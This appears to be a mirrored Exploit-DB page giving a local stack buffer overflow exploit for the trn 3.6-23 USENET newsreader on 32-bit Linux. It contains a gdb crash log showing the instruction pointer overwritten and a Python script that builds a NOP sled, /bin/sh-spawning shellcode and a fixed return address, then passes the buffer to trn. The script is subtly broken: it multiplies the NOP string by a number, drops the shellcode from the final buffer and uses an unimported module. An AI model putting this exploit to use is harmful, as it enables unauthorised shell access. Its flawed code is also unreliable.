TRN Threaded USENET News Reader 3.6-23 – Local Stack Overflow

• Exploit Database
• 124 阅读

• 作者： Juan Sacco
  日期： 2016-05-04
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39764/
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  # Exploit developed using Exploit Pack v5.4 # Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com # Program affected: Threaded USENET news reader # Version: 3.6-23 # # Tested and developed under:Kali Linux 2.0 x86 - https://www.kali.org # Program description: Threaded USENET news reader, based on rn # trn is the most widely-used newsreader on USENET # Kali Linux 2.0 package: pool/non-free/t/trn/trn_3.6-23_i386.deb # MD5sum: 57782e66c4bf127af0d252db9439fbdf # Website: https://sourceforge.net/projects/trn/ # # gdb$ run $(python -c 'print "A"*156+"DCBA"') # Starting program: /usr/bin/trn $(python -c 'print "A"*156+"DCBA"') # # Program received signal SIGSEGV, Segmentation fault. # --------------------------------------------------------------------------[regs] # EAX: 0x00000000EBX: 0x41414141ECX: 0x00000000EDX: 0x0809040Co d I t S z a p c # ESI: 0x41414141EDI: 0x41414141EBP: 0x41414141ESP: 0xBFFFED60EIP: 0x41424344 # CS: 0073DS: 007BES: 007BFS: 0000GS: 0033SS: 007BError while running hook_stop: # Cannot access memory at address 0x41424344 # 0x41424344 in ?? ()     import os, subprocess   def run(): try: print "# TRN Threaded Reader - Stack Buffer Overflow by Juan Sacco" print "# This Exploit has been developed using Exploit Pack" # NOPSLED + SHELLCODE + EIP   buffersize = 160 nopsled = "\x90"*132 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" eip = "\xd0\xec\xff\xbf" buffer = nopsled * (buffersize-len(shellcode)) + eip subprocess.call(["trn ",' ', buffer])   except OSError as e: if e.errno == os.errno.ENOENT: print "Sorry, Threaded Reader - Not found!" else: print "Error executing exploit" raise   def howtousage(): print "Snap! Something went wrong" sys.exit(-1)   if __name__ == '__main__': try: print "Exploit TRN 3.6-23 Local Overflow Exploit" print "Author: Juan Sacco - Exploit Pack" except IndexError: howtousage() run()